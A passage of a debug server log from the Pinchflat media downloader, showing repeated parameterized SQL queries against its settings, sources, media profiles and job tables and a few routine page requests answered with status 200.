SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:22.154 [debug] QUERY OK source="tasks" db=1.3ms idle=207.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 22:17:22.155 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.155 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=2.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 22:17:22.156 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.156 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.157 [debug] QUERY OK source="settings" db=0.7ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.157 [info] GET /sources/2/ 22:17:22.157 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.157 [debug] QUERY OK source="settings" db=1.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.158 [debug] QUERY OK source="sources" db=0.6ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.159 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.160 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.5ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.162 [debug] QUERY OK source="tasks" db=0.6ms queue=0.2ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:17:22.163 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=3.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 22:17:22.163 [info] Sent 200 in 12ms 22:17:22.163 [debug] QUERY OK source="sources" db=0.9ms queue=0.6ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.165 [debug] QUERY OK source="settings" db=1.7ms queue=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.165 [debug] QUERY OK source="media_items" db=1.6ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 22:17:22.166 [debug] QUERY OK source="settings" db=0.8ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.167 [debug] QUERY OK source="media_items" db=1.0ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:22.167 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.168 [debug] QUERY OK source="sources" db=0.3ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.168 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 22:17:22.169 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:22.170 [debug] QUERY OK source="sources" db=0.8ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.171 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.172 [debug] QUERY OK source="media_items" db=1.2ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:17:22.173 [debug] QUERY OK source="media_items" db=0.8ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 22:17:22.174 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.175 [debug] QUERY OK source="media_items" db=1.8ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:22.176 [debug] QUERY OK source="sources" db=0.7ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.176 [info] GET /sources/2/ 22:17:22.176 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.176 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:17:22.176 [info] Sent 200 in 28ms 22:17:22.177 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.177 [debug] QUERY OK source="sources" db=0.6ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.178 [info] GET /media_profiles/1 22:17:22.178 [debug] QUERY OK source="media_profiles" db=1.0ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.178 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:17:22.179 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.179 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.179 [debug] QUERY OK source="tasks" db=0.5ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:17:22.180 [debug] QUERY OK source="sources" db=0.6ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:17:22.181 [debug] QUERY OK source="media_items" db=1.1ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:17:22.181 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 22:17:22.181 [debug] QUERY OK source="settings" db=0.5ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.181 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.182 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.182 [debug] QUERY OK source="settings" db=0.8ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.182 [debug] QUERY OK source="settings" db=1.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.183 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.183 [info] Sent 200 in 26ms 22:17:22.183 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.184 [info] GET /sources/2/edit 22:17:22.184 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.185 [info] Sent 200 in 6ms 22:17:22.186 [debug] QUERY OK 